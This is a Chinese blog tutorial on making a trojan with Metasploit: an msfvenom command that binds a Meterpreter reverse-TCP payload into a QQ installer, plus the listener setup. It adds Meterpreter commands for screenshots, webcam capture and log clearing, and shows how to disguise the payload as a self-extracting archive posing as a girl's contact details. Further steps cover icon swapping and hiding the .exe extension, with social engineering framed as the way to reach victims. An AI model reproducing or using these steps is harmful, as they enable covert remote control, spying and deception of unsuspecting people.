主頁 > 軟體設計 > msf之木馬程式

msf之木馬程式

2020-09-18 03:10:13 軟體設計

目錄

    • 捆綁木馬
        • 生成木馬檔案
          • 附:msfvenom介紹
            • msfvenom簡介
            • msfvenom生成
            • exploit/multi/handler模塊簡介
        • 設定監聽反彈
        • 發送木馬
          • 查看對方的ip
          • 查看對方目錄
          • 截圖
          • 開啟攝像頭
          • 附:Meterpreter常用命令
        • 進一步獲取權限
        • 偽裝

捆綁木馬

這里使用的是Kali linux虛擬機
攻擊機ip是192.168.0.108
靶機ip是192.168.177.134

生成木馬檔案

首先上傳一個正常的安裝包到kali里面

我這里下了一個QQ
在這里插入圖片描述
把它上傳到了root/dy/路徑下

在這里插入圖片描述

然后開始捆綁

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 -f exe -x /root/dy/PCQQ2020.exe -o /root/dy/QQ.exe

-p:指定后面的payload

windows/meterpreter/reverse_tcp:申明這是一個windows系統下的一個反彈tcp

LHOST=192.168.0.108,:設定反彈回來的ip,即你的kali的ip地址

還可以設定回傳的埠,這里就不設定了,默認回傳埠是4444

-f: 代表要捆綁的檔案型別,這里是一個exe檔案

-x:指定你要捆綁的檔案的路徑及檔案名,這里我選擇的是root/dy/里的PCQQ2020.exe

-o:指定生成的木馬檔案的路徑及檔案名,這里我把它保存在原路徑里,名字就叫QQ.exe

生成完畢
在這里插入圖片描述

附:msfvenom介紹
msfvenom簡介

msfvenom是msfpayload,msfencode的結合體,可利用msfvenom生成木馬程式,并在目標機上執行,配合meterpreter在本地監聽上線,
msfvenom重要引數:(可以使用msfvenom -h查看所有引數)

-p payload設定
-e 編碼設定
-a 系統結構,默認x86
-s payload最大大小
-i 編碼次數
-f 生成檔案格式
msfvenom生成

生成payload,有有兩個必須的選項:-p-f
使用-p來指定要使用的payload,

./msfvenom –l payloads      //查看所有msf可用的payload串列

使用-f來指定payload的輸出格式

./msfvenom -p windows/meterpreter/bind_tcp -f exe
./msfvenom --help –formats      //查看msf支持的輸出格式

一個典型的msfvenom使用舉例如下:

$./msfvenom -p windows/meterpreter/reverse_tcplhost=[Attacker IP]lport=4444 -f  exe -o /tmp/my_payload.exe
exploit/multi/handler模塊簡介
msf>use exploit/multi/handler
#使用exploit/multi/handler監聽連入的backdoor
msf exploit(handler)>set payload windows/meterpreter/reverse_http
#設定對應的payload,
Msf exploit(handler)>show options
#顯示所有的設定如果需要的話,可能還需要將LHOST,LPORT,設定成與payload中相同的地址和埠,

設定監聽反彈

msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 4444
run

在這里插入圖片描述

在這里插入圖片描述

發送木馬

接下來將木馬檔案發送給目標,至于怎么讓目標信任你,安裝你發過去的檔案,就看你的社工能力了,
作為一個遵守中華人民共和國網路安全法的四有青年,我當然是選擇把木馬檔案發送到另一臺windows系統的虛擬機里面,

先將木馬檔案發到物理機上,然后再從物理機上傳到虛擬機上
在這里插入圖片描述

在這里插入圖片描述

然后雙擊運行QQ
kali就已經連接到了靶機
在這里插入圖片描述

查看對方的ip
ipconfig

在這里插入圖片描述

查看對方目錄
dir

在這里插入圖片描述

截圖
screenshot

在這里插入圖片描述就會截一張當前靶機的圖片,保存的路徑會提示出來的
在這里插入圖片描述

開啟攝像頭

因為虛擬機沒開攝像頭,所以失敗
在這里插入圖片描述

附:Meterpreter常用命令
info                    #查看已有模塊資訊
getuid                  #查看權限
getpid                  #獲取當前行程的pid
sysinfo                 #查看目標機系統資訊
ps                      #查看當前活躍行程
kill <PID>            #殺死行程
reboot / shutdown       #重啟/關機shell #進入目標機cmd shell 
webcam_list             #查看攝像頭
webcam_snap             #通過攝像頭拍照
webcam_stream           #通過攝像頭開啟視頻
execute                 #在目標機中執行檔案execute -H -i -f 
cmd.exe                 #創建新行程cmd.exe,-H不可見,-i互動
migrate <pid值>         #將Meterpreter會話移植到指定pid值行程中
clearav                 #清除windows中的應用程式日志、系統日志、安全日志
enumdesktops            #查看可用的桌面
getdesktop              #獲取當前meterpreter 關聯的桌面
set_desktop             #設定meterpreter關聯的桌面 -h查看幫助
screenshot              #截屏
use espia               #或者使用espia模塊截屏 然后輸入screengrab
run vnc                 #使用vnc遠程桌面連接

進一步獲取權限

shell

目標主機就是你的了
shell

如果對方就是不下載安裝你發的檔案怎么辦?
RAR有一個自解壓的功能
我們可以利用這一點來達到目的
有兩個檔案,一個是剛剛生成的木馬檔案,一個是一個txt檔案
全部選中,右擊添加到壓縮檔案,注意這里一定要用rar壓縮方式

在這里插入圖片描述

常規里面

檔案名可以是一個傭訓性的,比如學妹聯系方式.txt,這里的txt不是檔案型別,是檔案名的一部分,它的檔案型別還是exe
壓縮格式RAR,選擇創建自解壓格式壓縮檔案

在這里插入圖片描述
高級選項中,有個自解壓選項在這里插入圖片描述
選中它
常規:解壓路徑隨便填一個,這里放在C盤根目錄

在這里插入圖片描述

設定:解壓前運行txt檔案,解壓后運行QQ.exe檔案
在這里插入圖片描述

模式:解壓時隱藏所有資訊

然后確定,確定,再確定

就會解壓出一個名為學妹聯系方式的檔案
在這里插入圖片描述將這個檔案發出去

同樣設定監聽反彈,與第一部分一樣

msfconsole
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 4444
run

在這里插入圖片描述
當打開這個檔案時,顯示的是txt檔案里的內容,但是QQ.exe也暗中執行了,
當然,實際情況中得換一個輕量級的檔案,否則別人看到一個txt檔案有80多mb,肯定會懷疑的,

偽裝

如何偽裝的更像一點呢?
這里以QQ.exe舉例

介紹兩個工具

BeCyIconGrabber,這個工具可以提取檔案圖示,
這里提取了一個word檔案的圖示
在這里插入圖片描述

Resource Hacker
這個工具能修改檔案圖示
將它的圖示換成word檔案的圖示
在這里插入圖片描述

這是更改圖示后與更改前的區別
在這里插入圖片描述
因為需要管理員權限才能執行,所以多了個盾牌的標記,
換成其它的檔案就能避免出現此類情況

當然,因為微軟默認是隱藏后綴名的,一般情況下非專業人士都不會修改成顯示后綴名的,所以一般情況下被攻擊者看不到后綴的,如下圖:

在這里插入圖片描述

但是,萬一被攻擊者顯示后綴名了呢?
在這里插入圖片描述
也有辦法偽裝
把檔案名取得長一點,windows就會只顯示一部分內容,將后面部分的檔案名隱藏,如下:
在這里插入圖片描述

轉載請註明出處,本文鏈接:https://www.uj5u.com/ruanti/70234.html

標籤:其他

上一篇:C/C++描述 LeetCode 4. 尋找兩個正序陣列的中位數

下一篇:沒有 5G 版 iPhone 的蘋果秋季發布會,發布了些什么?

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C#(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 面試突擊第一季,第二季,第三季

    第一季必考 https://www.bilibili.com/video/BV1FE411y79Y?from=search&seid=15921726601957489746 第二季分布式 https://www.bilibili.com/video/BV13f4y127ee/?spm_id_fro ......

    uj5u.com 2020-09-10 05:35:24 more
  • 第三單元作業總結

    1.前言 這應該是本學期最后一次寫作業總結了吧。總體來說,對作業的節奏也差不多掌握了,作業做起來的效率也更高了。雖然和之前的作業一樣,作業中都要用到新的知識,但是相比之前,更加懂得了如何利用工具以及資料。雖然之間卡過殼,但總體而言,這幾次作業還算完成的比較好。 2.作業程序總結 相比前兩個單元,此單 ......

    uj5u.com 2020-09-10 05:35:41 more
  • 北航OO(2020)第四單元博客作業暨課程總結博客

    北航OO(2020)第四單元博客作業暨課程總結博客 本單元作業的架構設計 在本單元中,由于UML圖具有比較清晰的樹形結構,因此我對其中需要進行查詢操作的元素進行了包裝,在樹的父節點中存盤所有孩子的參考。考慮到性能問題,我采用了快取機制,一次查詢后盡可能快取已經遍歷過的資訊,以減少遍歷次數。 本單元我 ......

    uj5u.com 2020-09-10 05:35:48 more
  • BUAA_OO_第四單元

    一、UML決議器設計 ? 先看下題目:第四單元實作一個基于JDK 8帶有效性檢查的UML(Unified Modeling Language)類圖,順序圖,狀態圖分析器 MyUmlInteraction,實際上我們要建立一個有向圖模型,UML中的物件(元素)可能與同級元素連接,也可與低級元素相連形成 ......

    uj5u.com 2020-09-10 05:35:54 more
  • 6.1邏輯運算子

    邏輯運算子 1. && 短路與 運算式1 && 運算式2 01.運算式1為true并且運算式2也為true 整體回傳為true 02.運算式1為false,將不會執行運算式2 整體回傳為false 03.只要有一個運算式為false 整體回傳為false 2. || 短路或 運算式1 || 運算式2 ......

    uj5u.com 2020-09-10 05:35:56 more
  • BUAAOO 第四單元 & 課程總結

    1. 第四單元:StarUml檔案決議 本單元采用了圖模型決議UML。 UML檔案可以抽象為圖、子圖、邊的邏輯結構。 在實作中,圖的節點包括類、介面、屬性,子圖包括狀態圖、順序圖等。 采用了三次遍歷UML元素的方法建圖,第一遍遍歷建點,第二、三次遍歷設定屬性、連邊,實作圖物件的初始化。這里借鑒了一些 ......

    uj5u.com 2020-09-10 05:36:06 more
  • 談談我對C# 多型的理解

    面向物件三要素:封裝、繼承、多型。 封裝和繼承,這兩個比較好理解,但要理解多型的話,可就稍微有點難度了。今天,我們就來講講多型的理解。 我們應該經常會看到面試題目:請談談對多型的理解。 其實呢,多型非常簡單,就一句話:呼叫同一種方法產生了不同的結果。 具體實作方式有三種。 一、多載 多載很簡單。 p ......

    uj5u.com 2020-09-10 05:36:09 more
  • Python 資料驅動工具:DDT

    背景 python 的unittest 沒有自帶資料驅動功能。 所以如果使用unittest,同時又想使用資料驅動,那么就可以使用DDT來完成。 DDT是 “Data-Driven Tests”的縮寫。 資料:http://ddt.readthedocs.io/en/latest/ 使用方法 dd. ......

    uj5u.com 2020-09-10 05:36:13 more
  • Python里面的xlrd模塊詳解

    那我就一下面積個問題對xlrd模塊進行學習一下: 1.什么是xlrd模塊? 2.為什么使用xlrd模塊? 3.怎樣使用xlrd模塊? 1.什么是xlrd模塊? ?python操作excel主要用到xlrd和xlwt這兩個庫,即xlrd是讀excel,xlwt是寫excel的庫。 今天就先來說一下xl ......

    uj5u.com 2020-09-10 05:36:28 more
  • 當我們創建HashMap時,底層到底做了什么?

    jdk1.7中的底層實作程序(底層基于陣列+鏈表) 在我們new HashMap()時,底層創建了默認長度為16的一維陣列Entry[ ] table。當我們呼叫map.put(key1,value1)方法向HashMap里添加資料的時候: 首先,呼叫key1所在類的hashCode()計算key1 ......

    uj5u.com 2020-09-10 05:36:38 more
最新发布
  • 【中介者設計模式詳解】C/Java/JS/Go/Python/TS不同語言實作

    * 中介者模式是一種行為型設計模式,它可以用來減少類之間的直接依賴關系,
    * 將物件之間的通信封裝到一個中介者物件中,從而使得各個物件之間的關系更加松散。
    * 在中介者模式中,物件之間不再直接相互互動,而是通過中介者來中轉訊息。 ......

    uj5u.com 2023-04-20 08:20:47 more
  • 露天煤礦現場調研和交流案例分享

    他們集團的資訊化公司及研究院在一個礦區正在做智能礦山的統一平臺的 試點,專案投資大概1億,包括了礦山的各方面的內容,顯示得我們這次交流有點多余。他們2年前開始做智能礦山的規劃,有很多煤礦行業專家的加持,他們的描述是非常完美,但是去年底應該上線的平臺,現在還沒有看到影子。他們確實有很多場景需求,但是被... ......

    uj5u.com 2023-04-20 08:20:25 more
  • 《社區人員管理》實戰案例設計&個人案例分享

    設計是一個讓人夢想成真程序,開始編碼、測驗、除錯之前進行需求分析和架構設計,才能保證關鍵方面都做正確 ......

    uj5u.com 2023-04-20 08:20:17 more
  • 軟體架構生態化-多角色交付的探索實踐

    作為一個技術架構師,不僅僅要緊跟行業技術趨勢,還要結合研發團隊現狀及痛點,探索新的交付方案。在日常中,你是否遇到如下問題 “ 業務需求排期長研發是瓶頸;非研發角色感受不到研發技改提效的變化;引入ISV 團隊又擔心質量和安全,培訓周期長“等等,基于此我們探索了一種新的技術體系及交付方案來解決如上問題。 ......

    uj5u.com 2023-04-20 08:20:10 more
  • 【中介者設計模式詳解】C/Java/JS/Go/Python/TS不同語言實作

    * 中介者模式是一種行為型設計模式,它可以用來減少類之間的直接依賴關系,
    * 將物件之間的通信封裝到一個中介者物件中,從而使得各個物件之間的關系更加松散。
    * 在中介者模式中,物件之間不再直接相互互動,而是通過中介者來中轉訊息。 ......

    uj5u.com 2023-04-20 08:19:44 more
  • 露天煤礦現場調研和交流案例分享

    他們集團的資訊化公司及研究院在一個礦區正在做智能礦山的統一平臺的 試點,專案投資大概1億,包括了礦山的各方面的內容,顯示得我們這次交流有點多余。他們2年前開始做智能礦山的規劃,有很多煤礦行業專家的加持,他們的描述是非常完美,但是去年底應該上線的平臺,現在還沒有看到影子。他們確實有很多場景需求,但是被... ......

    uj5u.com 2023-04-20 08:19:07 more
  • 《社區人員管理》實戰案例設計&個人案例分享

    設計是一個讓人夢想成真程序,開始編碼、測驗、除錯之前進行需求分析和架構設計,才能保證關鍵方面都做正確 ......

    uj5u.com 2023-04-20 08:18:57 more
  • 軟體架構生態化-多角色交付的探索實踐

    作為一個技術架構師,不僅僅要緊跟行業技術趨勢,還要結合研發團隊現狀及痛點,探索新的交付方案。在日常中,你是否遇到如下問題 “ 業務需求排期長研發是瓶頸;非研發角色感受不到研發技改提效的變化;引入ISV 團隊又擔心質量和安全,培訓周期長“等等,基于此我們探索了一種新的技術體系及交付方案來解決如上問題。 ......

    uj5u.com 2023-04-20 08:18:49 more
  • 05單件模式

    #經典的單件模式 public class Singleton { private static Singleton uniqueInstance; //一個靜態變數持有Singleton類的唯一實體。 // 其他有用的實體變數寫在這里 //構造器宣告為私有,只有Singleton可以實體化這個類! ......

    uj5u.com 2023-04-19 08:42:51 more
  • 【架構與設計】常見微服務分層架構的區別和落地實踐

    軟體工程的方方面面都遵循一個最基本的道理:沒有銀彈,架構分層模型更是如此,每一種都有各自優缺點,所以請根據不同的業務場景,并遵循簡單、可演進這兩個重要的架構原則選擇合適的架構分層模型即可。 ......

    uj5u.com 2023-04-19 08:42:41 more